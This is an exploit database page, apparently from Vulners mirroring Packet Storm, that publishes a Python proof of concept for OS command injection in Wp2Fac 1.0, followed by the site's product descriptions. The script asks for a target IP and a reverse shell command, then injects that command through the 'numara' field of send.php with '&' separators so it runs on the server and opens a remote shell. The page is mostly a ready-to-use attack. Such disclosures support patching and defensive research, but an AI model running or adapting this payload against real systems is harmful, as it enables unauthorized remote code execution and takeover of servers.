Lucene search
K

Wp2Fac 1.0 Command Injection

🗓️ 08 Sep 2023 00:00:00Reported by Ahmet Umit BayramType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 291 Views

Wp2Fac 1.0 Command Injection, OS Command Injection in Wp2Fac v1.0, By Ahmet Ümit BAYRAM, Tested on Kali Linux & Windows 1

Code
`# Exploit Title: Wp2Fac v1.0 - OS Command Injection  
# Date: 2023-08-27  
# Exploit Author: Ahmet Ümit BAYRAM  
# Vendor: https://github.com/metinyesil/wp2fac  
# Tested on: Kali Linux & Windows 11  
# CVE: N/A  
  
import requests  
  
def send_post_request(host, revshell):  
url = f'http://{host}/send.php'  
headers = {  
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0)  
Gecko/20100101 Firefox/102.0',  
'Accept': '*/*',  
'Accept-Language': 'en-US,en;q=0.5',  
'Accept-Encoding': 'gzip, deflate',  
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',  
'X-Requested-With': 'XMLHttpRequest',  
'Origin': f'http://{host}',  
'Connection': 'close',  
'Referer': f'http://{host}/',  
}  
  
data = {  
'numara': f'1234567890 & {revshell} &;'  
}  
  
response = requests.post(url, headers=headers, data=data)  
return response.text  
  
host = input("Target IP: ")  
  
revshell = input("Reverse Shell Command: ")  
  
print("Check your listener!")  
  
send_post_request(host, revshell)  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Sep 2023 00:00Current
7.1High risk
Vulners AI Score7.1
291